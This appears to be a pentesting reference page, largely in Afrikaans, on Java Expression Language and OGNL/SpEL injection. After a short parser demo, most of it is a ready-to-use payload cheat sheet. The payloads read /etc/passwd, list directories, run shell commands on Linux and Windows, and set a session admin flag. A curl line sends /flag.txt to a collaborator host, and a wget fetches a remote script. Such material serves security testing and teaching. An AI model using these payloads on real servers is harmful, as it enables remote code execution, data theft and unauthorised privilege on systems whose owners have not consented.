EL - Expression Language

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Bsic Info

Expression Language (EL) is integraal in JavaEE vir die oorbrugging van die aanbiedingslaag (bv. webbladsye) en toepassingslogika (bv. bestuurde bone), wat hul interaksie moontlik maak. Dit word hoofsaaklik gebruik in:

• JavaServer Faces (JSF): Vir die binding van UI-komponente aan agtergrond data/aksies.
• JavaServer Pages (JSP): Vir data toegang en manipulasie binne JSP-bladsye.
• Contexts and Dependency Injection for Java EE (CDI): Vir die fasilitering van weblaag interaksie met bestuurde bone.

Gebruik Konteks:

• Spring Framework: Toegepas in verskeie modules soos Sekuriteit en Data.
• Algemene Gebruik: Deur SpEL API deur ontwikkelaars in JVM-gebaseerde tale soos Java, Kotlin, en Scala.

EL is teenwoordig in JavaEE tegnologieë, standalone omgewings, en herkenbaar deur .jsp of .jsf lêer uitbreidings, stapfoute, en terme soos "Servlet" in koptekste. Dit is egter afhanklik van die weergawe van sy kenmerke en die gebruik van sekere karakters.

Basic Example

(You can find another interesting tutorial about EL in https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)

Download from the Maven repository the jar files:

• commons-lang3-3.9.jar
• spring-core-5.2.1.RELEASE.jar
• commons-logging-1.2.jar
• spring-expression-5.2.1.RELEASE.jar

And create a the following Main.java file:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

Volgende kompileer die kode (as jy nie javac geïnstalleer het nie, installeer sudo apt install default-jdk):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

Voer die toepassing uit met:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

Let op hoe in die vorige voorbeeld die term {5*5} was geëvalueer.

CVE-gebaseerde Handleiding

Kyk dit in hierdie pos: https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a

Payloads

Basiese aksies

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

Opsporing

• Burp opsporing

gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.

• J2EE opsporing

#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL

• Slap 10 sekondes

#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

Afgeleë Lêer Insluiting

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

Gidslys

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

• Basiese RCE verklaring

#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

• RCE linux

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• RCE Windows (nie getoets)

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt

• Meer RCE

// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

Inspectering van die omgewing

• applicationScope - globale toepassingsvariabeles
• requestScope - versoekvariabeles
• initParam - toepassingsinitalisering variabeles
• sessionScope - sessievariabeles
• param.X - param waarde waar X die naam van 'n http parameter is

Jy sal hierdie variabeles na String moet cast soos:

${sessionScope.toString()}

Voorbeeld van outomatisering van magtiging

${pageContext.request.getSession().setAttribute("admin", true)}

Die toepassing kan ook pasgemaakte veranderlikes gebruik soos:

${user}
${password}
${employee.FirstName}

WAF Bypass

Kyk na https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/

Verwysings

• https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/
• https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools
• https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt